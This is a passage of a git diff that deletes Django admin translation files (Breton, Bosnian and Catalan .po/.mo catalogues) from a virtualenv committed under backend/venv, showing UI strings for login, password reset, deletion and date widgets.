-"the appropriate user." -msgstr "" - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "Disoñjet ho ker-tremen pe hoc'h anv implijer ganeoc'h ?" - -msgid "Date/time" -msgstr "Deiziad/eur" - -msgid "User" -msgstr "Implijer" - -msgid "Action" -msgstr "Ober" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" - -msgid "Show all" -msgstr "Diskouez pep tra" - -msgid "Save" -msgstr "Enrollañ" - -msgid "Popup closing…" -msgstr "" - -msgid "Search" -msgstr "Klask" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "" - -msgid "Save as new" -msgstr "Enrollañ evel nevez" - -msgid "Save and add another" -msgstr "Enrollañ hag ouzhpennañ unan all" - -msgid "Save and continue editing" -msgstr "Enrollañ ha derc'hel da gemmañ" - -msgid "Save and view" -msgstr "" - -msgid "Close" -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "" - -msgid "Log in again" -msgstr "Kevreañ en-dro" - -msgid "Password change" -msgstr "Cheñch ho ker-tremen" - -msgid "Your password was changed." -msgstr "Cheñchet eo bet ho ker-tremen." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" - -msgid "Change my password" -msgstr "Cheñch ma ger-tremen" - -msgid "Password reset" -msgstr "Adderaouekaat ar ger-tremen" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "" - -msgid "Password reset confirmation" -msgstr "Kadarnaat eo bet cheñchet ar ger-tremen" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" - -msgid "New password:" -msgstr "Ger-tremen nevez :" - -msgid "Confirm password:" -msgstr "Kadarnaat ar ger-tremen :" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "" - -msgid "Your username, in case you've forgotten:" -msgstr "" - -msgid "Thanks for using our site!" -msgstr "Ho trugarekaat da ober gant hol lec'hienn !" - -#, python-format -msgid "The %(site_name)s team" -msgstr "" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "" - -msgid "All dates" -msgstr "An holl zeiziadoù" - -#, python-format -msgid "Select %s" -msgstr "Diuzañ %s" - -#, python-format -msgid "Select %s to change" -msgstr "" - -#, python-format -msgid "Select %s to view" -msgstr "" - -msgid "Date:" -msgstr "Deiziad :" - -msgid "Time:" -msgstr "Eur :" - -msgid "Lookup" -msgstr "Klask" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 58664d07..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/djangojs.po deleted file mode 100644 index 3f819561..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/br/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,217 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Fulup , 2012 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2018-05-17 11:50+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Breton (http://www.transifex.com/django/django/language/br/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: br\n" -"Plural-Forms: nplurals=5; plural=((n%10 == 1) && (n%100 != 11) && (n%100 !" -"=71) && (n%100 !=91) ? 0 :(n%10 == 2) && (n%100 != 12) && (n%100 !=72) && (n" -"%100 !=92) ? 1 :(n%10 ==3 || n%10==4 || n%10==9) && (n%100 < 10 || n% 100 > " -"19) && (n%100 < 70 || n%100 > 79) && (n%100 < 90 || n%100 > 99) ? 2 :(n != 0 " -"&& n % 1000000 == 0) ? 3 : 4);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Hegerz %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "Sil" - -msgid "Choose all" -msgstr "Dibab an holl" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "Klikañ evit dibab an holl %s war un dro." - -msgid "Choose" -msgstr "Dibab" - -msgid "Remove" -msgstr "Lemel kuit" - -#, javascript-format -msgid "Chosen %s" -msgstr "Dibabet %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "Lemel kuit pep tra" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "Klikañ evit dilemel an holl %s dibabet war un dro." - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -msgid "Now" -msgstr "Bremañ" - -msgid "Midnight" -msgstr "Hanternoz" - -msgid "6 a.m." -msgstr "6e00" - -msgid "Noon" -msgstr "Kreisteiz" - -msgid "6 p.m." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" -msgstr[3] "" -msgstr[4] "" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "Dibab un eur" - -msgid "Cancel" -msgstr "Nullañ" - -msgid "Today" -msgstr "Hiziv" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "Dec'h" - -msgid "Tomorrow" -msgstr "Warc'hoazh" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "Diskouez" - -msgid "Hide" -msgstr "Kuzhat" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/django.mo deleted file mode 100644 index f920c9bb..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/django.po deleted file mode 100644 index 1d7eb6e6..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/django.po +++ /dev/null @@ -1,657 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Filip Dupanović , 2011 -# Jannis Leidel , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2017-01-19 16:49+0100\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Bosnian (http://www.transifex.com/django/django/language/" -"bs/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: bs\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" -"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Uspješno izbrisano %(count)d %(items)s." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "" - -msgid "Are you sure?" -msgstr "Da li ste sigurni?" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Izbriši odabrane %(verbose_name_plural)s" - -msgid "Administration" -msgstr "" - -msgid "All" -msgstr "Svi" - -msgid "Yes" -msgstr "Da" - -msgid "No" -msgstr "Ne" - -msgid "Unknown" -msgstr "Nepoznato" - -msgid "Any date" -msgstr "Svi datumi" - -msgid "Today" -msgstr "Danas" - -msgid "Past 7 days" -msgstr "Poslednjih 7 dana" - -msgid "This month" -msgstr "Ovaj mesec" - -msgid "This year" -msgstr "Ova godina" - -msgid "No date" -msgstr "" - -msgid "Has date" -msgstr "" - -#, python-format -msgid "" -"Please enter the correct %(username)s and password for a staff account. Note " -"that both fields may be case-sensitive." -msgstr "" - -msgid "Action:" -msgstr "Radnja:" - -#, python-format -msgid "Add another %(verbose_name)s" -msgstr "Dodaj još jedan %(verbose_name)s" - -msgid "Remove" -msgstr "Obriši" - -msgid "action time" -msgstr "vrijeme radnje" - -msgid "user" -msgstr "" - -msgid "content type" -msgstr "" - -msgid "object id" -msgstr "id objekta" - -#. Translators: 'repr' means representation -#. (https://docs.python.org/3/library/functions.html#repr) -msgid "object repr" -msgstr "repr objekta" - -msgid "action flag" -msgstr "oznaka radnje" - -msgid "change message" -msgstr "opis izmjene" - -msgid "log entry" -msgstr "zapis u logovima" - -msgid "log entries" -msgstr "zapisi u logovima" - -#, python-format -msgid "Added \"%(object)s\"." -msgstr "" - -#, python-format -msgid "Changed \"%(object)s\" - %(changes)s" -msgstr "" - -#, python-format -msgid "Deleted \"%(object)s.\"" -msgstr "" - -msgid "LogEntry Object" -msgstr "" - -#, python-brace-format -msgid "Added {name} \"{object}\"." -msgstr "" - -msgid "Added." -msgstr "" - -msgid "and" -msgstr "i" - -#, python-brace-format -msgid "Changed {fields} for {name} \"{object}\"." -msgstr "" - -#, python-brace-format -msgid "Changed {fields}." -msgstr "" - -#, python-brace-format -msgid "Deleted {name} \"{object}\"." -msgstr "" - -msgid "No fields changed." -msgstr "Nije bilo izmjena polja." - -msgid "None" -msgstr "Nijedan" - -msgid "" -"Hold down \"Control\", or \"Command\" on a Mac, to select more than one." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was added successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was added successfully." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may edit it again below." -msgstr "" - -#, python-brace-format -msgid "" -"The {name} \"{obj}\" was changed successfully. You may add another {name} " -"below." -msgstr "" - -#, python-brace-format -msgid "The {name} \"{obj}\" was changed successfully." -msgstr "" - -msgid "" -"Items must be selected in order to perform actions on them. No items have " -"been changed." -msgstr "" -"Predmeti moraju biti izabrani da bi se mogla obaviti akcija nad njima. " -"Nijedan predmet nije bio izmjenjen." - -msgid "No action selected." -msgstr "Nijedna akcija nije izabrana." - -#, python-format -msgid "The %(name)s \"%(obj)s\" was deleted successfully." -msgstr "Objekat „%(obj)s“ klase %(name)s obrisan je uspješno." - -#, python-format -msgid "%(name)s with ID \"%(key)s\" doesn't exist. Perhaps it was deleted?" -msgstr "" - -#, python-format -msgid "Add %s" -msgstr "Dodaj objekat klase %s" - -#, python-format -msgid "Change %s" -msgstr "Izmjeni objekat klase %s" - -msgid "Database error" -msgstr "Greška u bazi podataka" - -#, python-format -msgid "%(count)s %(name)s was changed successfully." -msgid_plural "%(count)s %(name)s were changed successfully." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "%(total_count)s selected" -msgid_plural "All %(total_count)s selected" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "0 of %(cnt)s selected" -msgstr "0 od %(cnt)s izabrani" - -#, python-format -msgid "Change history: %s" -msgstr "Historijat izmjena: %s" - -#. Translators: Model verbose name and instance representation, -#. suitable to be an item in a list. -#, python-format -msgid "%(class_name)s %(instance)s" -msgstr "" - -#, python-format -msgid "" -"Deleting %(class_name)s %(instance)s would require deleting the following " -"protected related objects: %(related_objects)s" -msgstr "" - -msgid "Django site admin" -msgstr "Django administracija sajta" - -msgid "Django administration" -msgstr "Django administracija" - -msgid "Site administration" -msgstr "Administracija sistema" - -msgid "Log in" -msgstr "Prijava" - -#, python-format -msgid "%(app)s administration" -msgstr "" - -msgid "Page not found" -msgstr "Stranica nije pronađena" - -msgid "We're sorry, but the requested page could not be found." -msgstr "Žao nam je, tražena stranica nije pronađena." - -msgid "Home" -msgstr "Početna" - -msgid "Server error" -msgstr "Greška na serveru" - -msgid "Server error (500)" -msgstr "Greška na serveru (500)" - -msgid "Server Error (500)" -msgstr "Greška na serveru (500)" - -msgid "" -"There's been an error. It's been reported to the site administrators via " -"email and should be fixed shortly. Thanks for your patience." -msgstr "" - -msgid "Run the selected action" -msgstr "Pokreni odabranu radnju" - -msgid "Go" -msgstr "Počni" - -msgid "Click here to select the objects across all pages" -msgstr "Kliknite ovdje da izaberete objekte preko svih stranica" - -#, python-format -msgid "Select all %(total_count)s %(module_name)s" -msgstr "Izaberite svih %(total_count)s %(module_name)s" - -msgid "Clear selection" -msgstr "Izbrišite izbor" - -msgid "" -"First, enter a username and password. Then, you'll be able to edit more user " -"options." -msgstr "" -"Prvo unesite korisničko ime i lozinku. Potom ćete moći da mijenjate još " -"korisničkih podešavanja." - -msgid "Enter a username and password." -msgstr "" - -msgid "Change password" -msgstr "Promjena lozinke" - -msgid "Please correct the error below." -msgstr "" - -msgid "Please correct the errors below." -msgstr "" - -#, python-format -msgid "Enter a new password for the user %(username)s." -msgstr "Unesite novu lozinku za korisnika %(username)s." - -msgid "Welcome," -msgstr "Dobrodošli," - -msgid "View site" -msgstr "" - -msgid "Documentation" -msgstr "Dokumentacija" - -msgid "Log out" -msgstr "Odjava" - -#, python-format -msgid "Add %(name)s" -msgstr "Dodaj objekat klase %(name)s" - -msgid "History" -msgstr "Historijat" - -msgid "View on site" -msgstr "Pregled na sajtu" - -msgid "Filter" -msgstr "Filter" - -msgid "Remove from sorting" -msgstr "" - -#, python-format -msgid "Sorting priority: %(priority_number)s" -msgstr "" - -msgid "Toggle sorting" -msgstr "" - -msgid "Delete" -msgstr "Obriši" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would result in deleting " -"related objects, but your account doesn't have permission to delete the " -"following types of objects:" -msgstr "" -"Uklanjanje %(object_name)s „%(escaped_object)s“ povlači uklanjanje svih " -"objekata koji su povezani sa ovim objektom, ali vaš nalog nema dozvole za " -"brisanje slijedećih tipova objekata:" - -#, python-format -msgid "" -"Deleting the %(object_name)s '%(escaped_object)s' would require deleting the " -"following protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the %(object_name)s \"%(escaped_object)s\"? " -"All of the following related items will be deleted:" -msgstr "" -"Da li ste sigurni da želite da obrišete %(object_name)s " -"„%(escaped_object)s“? Slijedeći objekti koji su u vezi sa ovim objektom će " -"također biti obrisani:" - -msgid "Objects" -msgstr "" - -msgid "Yes, I'm sure" -msgstr "Da, siguran sam" - -msgid "No, take me back" -msgstr "" - -msgid "Delete multiple objects" -msgstr "Brisanje više objekata" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would result in deleting related " -"objects, but your account doesn't have permission to delete the following " -"types of objects:" -msgstr "" - -#, python-format -msgid "" -"Deleting the selected %(objects_name)s would require deleting the following " -"protected related objects:" -msgstr "" - -#, python-format -msgid "" -"Are you sure you want to delete the selected %(objects_name)s? All of the " -"following objects and their related items will be deleted:" -msgstr "" - -msgid "Change" -msgstr "Izmjeni" - -msgid "Delete?" -msgstr "Brisanje?" - -#, python-format -msgid " By %(filter_title)s " -msgstr " %(filter_title)s " - -msgid "Summary" -msgstr "" - -#, python-format -msgid "Models in the %(name)s application" -msgstr "" - -msgid "Add" -msgstr "Dodaj" - -msgid "You don't have permission to edit anything." -msgstr "Nemate dozvole da unosite bilo kakve izmjene." - -msgid "Recent actions" -msgstr "" - -msgid "My actions" -msgstr "" - -msgid "None available" -msgstr "Nema podataka" - -msgid "Unknown content" -msgstr "Nepoznat sadržaj" - -msgid "" -"Something's wrong with your database installation. Make sure the appropriate " -"database tables have been created, and make sure the database is readable by " -"the appropriate user." -msgstr "" -"Nešto nije uredu sa vašom bazom podataka. Provjerite da li postoje " -"odgovarajuće tabele i da li odgovarajući korisnik ima pristup bazi." - -#, python-format -msgid "" -"You are authenticated as %(username)s, but are not authorized to access this " -"page. Would you like to login to a different account?" -msgstr "" - -msgid "Forgotten your password or username?" -msgstr "" - -msgid "Date/time" -msgstr "Datum/vrijeme" - -msgid "User" -msgstr "Korisnik" - -msgid "Action" -msgstr "Radnja" - -msgid "" -"This object doesn't have a change history. It probably wasn't added via this " -"admin site." -msgstr "" -"Ovaj objekat nema zabilježen historijat izmjena. Vjerovatno nije dodan kroz " -"ovaj sajt za administraciju." - -msgid "Show all" -msgstr "Prikaži sve" - -msgid "Save" -msgstr "Sačuvaj" - -msgid "Popup closing..." -msgstr "" - -#, python-format -msgid "Change selected %(model)s" -msgstr "" - -#, python-format -msgid "Add another %(model)s" -msgstr "" - -#, python-format -msgid "Delete selected %(model)s" -msgstr "" - -msgid "Search" -msgstr "Pretraga" - -#, python-format -msgid "%(counter)s result" -msgid_plural "%(counter)s results" -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, python-format -msgid "%(full_result_count)s total" -msgstr "ukupno %(full_result_count)s" - -msgid "Save as new" -msgstr "Sačuvaj kao novi" - -msgid "Save and add another" -msgstr "Sačuvaj i dodaj slijedeći" - -msgid "Save and continue editing" -msgstr "Sačuvaj i nastavi sa izmjenama" - -msgid "Thanks for spending some quality time with the Web site today." -msgstr "Hvala što ste danas proveli vrijeme na ovom sajtu." - -msgid "Log in again" -msgstr "Ponovna prijava" - -msgid "Password change" -msgstr "Izmjena lozinke" - -msgid "Your password was changed." -msgstr "Vaša lozinka je izmjenjena." - -msgid "" -"Please enter your old password, for security's sake, and then enter your new " -"password twice so we can verify you typed it in correctly." -msgstr "" -"Iz bezbjednosnih razloga prvo unesite svoju staru lozinku, a novu zatim " -"unesite dva puta da bismo mogli da provjerimo da li ste je pravilno unijeli." - -msgid "Change my password" -msgstr "Izmijeni moju lozinku" - -msgid "Password reset" -msgstr "Resetovanje lozinke" - -msgid "Your password has been set. You may go ahead and log in now." -msgstr "Vaša lozinka je postavljena. Možete se prijaviti." - -msgid "Password reset confirmation" -msgstr "Potvrda resetovanja lozinke" - -msgid "" -"Please enter your new password twice so we can verify you typed it in " -"correctly." -msgstr "" -"Unesite novu lozinku dva puta kako bismo mogli da provjerimo da li ste je " -"pravilno unijeli." - -msgid "New password:" -msgstr "Nova lozinka:" - -msgid "Confirm password:" -msgstr "Potvrda lozinke:" - -msgid "" -"The password reset link was invalid, possibly because it has already been " -"used. Please request a new password reset." -msgstr "" -"Link za resetovanje lozinke nije važeći, vjerovatno zato što je već " -"iskorišćen. Ponovo zatražite resetovanje lozinke." - -msgid "" -"We've emailed you instructions for setting your password, if an account " -"exists with the email you entered. You should receive them shortly." -msgstr "" - -msgid "" -"If you don't receive an email, please make sure you've entered the address " -"you registered with, and check your spam folder." -msgstr "" - -#, python-format -msgid "" -"You're receiving this email because you requested a password reset for your " -"user account at %(site_name)s." -msgstr "" - -msgid "Please go to the following page and choose a new password:" -msgstr "Idite na slijedeću stranicu i postavite novu lozinku." - -msgid "Your username, in case you've forgotten:" -msgstr "Ukoliko ste zaboravili, vaše korisničko ime:" - -msgid "Thanks for using our site!" -msgstr "Hvala što koristite naš sajt!" - -#, python-format -msgid "The %(site_name)s team" -msgstr "Uredništvo sajta %(site_name)s" - -msgid "" -"Forgotten your password? Enter your email address below, and we'll email " -"instructions for setting a new one." -msgstr "" - -msgid "Email address:" -msgstr "" - -msgid "Reset my password" -msgstr "Resetuj moju lozinku" - -msgid "All dates" -msgstr "Svi datumi" - -#, python-format -msgid "Select %s" -msgstr "Odaberi objekat klase %s" - -#, python-format -msgid "Select %s to change" -msgstr "Odaberi objekat klase %s za izmjenu" - -msgid "Date:" -msgstr "Datum:" - -msgid "Time:" -msgstr "Vrijeme:" - -msgid "Lookup" -msgstr "Pretraži" - -msgid "Currently:" -msgstr "" - -msgid "Change:" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/djangojs.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/djangojs.mo deleted file mode 100644 index 0a373ec4..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/djangojs.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/djangojs.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/djangojs.po deleted file mode 100644 index 4866fd39..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/bs/LC_MESSAGES/djangojs.po +++ /dev/null @@ -1,211 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Filip Dupanović , 2011 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2016-05-17 23:12+0200\n" -"PO-Revision-Date: 2017-09-19 16:41+0000\n" -"Last-Translator: Jannis Leidel \n" -"Language-Team: Bosnian (http://www.transifex.com/django/django/language/" -"bs/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: bs\n" -"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && n" -"%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2);\n" - -#, javascript-format -msgid "Available %s" -msgstr "Dostupno %s" - -#, javascript-format -msgid "" -"This is the list of available %s. You may choose some by selecting them in " -"the box below and then clicking the \"Choose\" arrow between the two boxes." -msgstr "" - -#, javascript-format -msgid "Type into this box to filter down the list of available %s." -msgstr "" - -msgid "Filter" -msgstr "Filter" - -msgid "Choose all" -msgstr "Odaberi sve" - -#, javascript-format -msgid "Click to choose all %s at once." -msgstr "" - -msgid "Choose" -msgstr "" - -msgid "Remove" -msgstr "Ukloni" - -#, javascript-format -msgid "Chosen %s" -msgstr "Odabrani %s" - -#, javascript-format -msgid "" -"This is the list of chosen %s. You may remove some by selecting them in the " -"box below and then clicking the \"Remove\" arrow between the two boxes." -msgstr "" - -msgid "Remove all" -msgstr "" - -#, javascript-format -msgid "Click to remove all chosen %s at once." -msgstr "" - -msgid "%(sel)s of %(cnt)s selected" -msgid_plural "%(sel)s of %(cnt)s selected" -msgstr[0] "Izabran %(sel)s od %(cnt)s" -msgstr[1] "Izabrano %(sel)s od %(cnt)s" -msgstr[2] "Izabrano %(sel)s od %(cnt)s" - -msgid "" -"You have unsaved changes on individual editable fields. If you run an " -"action, your unsaved changes will be lost." -msgstr "" -"Imate nespašene izmjene na pojedinim uređenim poljima. Ako pokrenete ovu " -"akciju, te izmjene će biti izgubljene." - -msgid "" -"You have selected an action, but you haven't saved your changes to " -"individual fields yet. Please click OK to save. You'll need to re-run the " -"action." -msgstr "" - -msgid "" -"You have selected an action, and you haven't made any changes on individual " -"fields. You're probably looking for the Go button rather than the Save " -"button." -msgstr "" - -#, javascript-format -msgid "Note: You are %s hour ahead of server time." -msgid_plural "Note: You are %s hours ahead of server time." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -#, javascript-format -msgid "Note: You are %s hour behind server time." -msgid_plural "Note: You are %s hours behind server time." -msgstr[0] "" -msgstr[1] "" -msgstr[2] "" - -msgid "Now" -msgstr "" - -msgid "Choose a Time" -msgstr "" - -msgid "Choose a time" -msgstr "" - -msgid "Midnight" -msgstr "" - -msgid "6 a.m." -msgstr "" - -msgid "Noon" -msgstr "" - -msgid "6 p.m." -msgstr "" - -msgid "Cancel" -msgstr "" - -msgid "Today" -msgstr "Danas" - -msgid "Choose a Date" -msgstr "" - -msgid "Yesterday" -msgstr "" - -msgid "Tomorrow" -msgstr "" - -msgid "January" -msgstr "" - -msgid "February" -msgstr "" - -msgid "March" -msgstr "" - -msgid "April" -msgstr "" - -msgid "May" -msgstr "" - -msgid "June" -msgstr "" - -msgid "July" -msgstr "" - -msgid "August" -msgstr "" - -msgid "September" -msgstr "" - -msgid "October" -msgstr "" - -msgid "November" -msgstr "" - -msgid "December" -msgstr "" - -msgctxt "one letter Sunday" -msgid "S" -msgstr "" - -msgctxt "one letter Monday" -msgid "M" -msgstr "" - -msgctxt "one letter Tuesday" -msgid "T" -msgstr "" - -msgctxt "one letter Wednesday" -msgid "W" -msgstr "" - -msgctxt "one letter Thursday" -msgid "T" -msgstr "" - -msgctxt "one letter Friday" -msgid "F" -msgstr "" - -msgctxt "one letter Saturday" -msgid "S" -msgstr "" - -msgid "Show" -msgstr "" - -msgid "Hide" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/django.mo deleted file mode 100644 index 46df4b0c..00000000 Binary files a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/django.po deleted file mode 100644 index c89550d3..00000000 --- a/backend/venv/Lib/site-packages/django/contrib/admin/locale/ca/LC_MESSAGES/django.po +++ /dev/null @@ -1,750 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# Antoni Aloy , 2014-2015,2017,2021 -# Carles Barrobés , 2011-2012,2014 -# duub qnnp, 2015 -# Emilio Carrion, 2022 -# GerardoGa , 2018 -# Gil Obradors Via , 2019 -# Gil Obradors Via , 2019 -# Jannis Leidel , 2011 -# Manel Clos , 2020 -# Marc Compte , 2021 -# Roger Pons , 2015 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2022-05-17 05:10-0500\n" -"PO-Revision-Date: 2022-07-25 07:05+0000\n" -"Last-Translator: Emilio Carrion\n" -"Language-Team: Catalan (http://www.transifex.com/django/django/language/" -"ca/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ca\n" -"Plural-Forms: nplurals=2; plural=(n != 1);\n" - -#, python-format -msgid "Delete selected %(verbose_name_plural)s" -msgstr "Eliminar els %(verbose_name_plural)s seleccionats" - -#, python-format -msgid "Successfully deleted %(count)d %(items)s." -msgstr "Eliminat/s %(count)d %(items)s satisfactòriament." - -#, python-format -msgid "Cannot delete %(name)s" -msgstr "No es pot esborrar %(name)s" - -msgid "Are you sure?" -msgstr "N'esteu segur?" - -msgid "Administration" -msgstr "Administració" - -msgid "All" -msgstr "Tots" - -msgid "Yes" -msgstr "Sí" - -msgid "No" -msgstr "No" - -msgid "Unknown" -msgstr "Desconegut" - -msgid "Any date" -msgstr "Qualsevol data" - -msgid "Today" -msgstr "Avui" - -msgid "Past 7 days" -msgstr "Últims 7 dies" - -msgid "This month" -msgstr "Aquest mes" - -msgid "This year" -msgstr "Aquest any" - -msgid "No date" 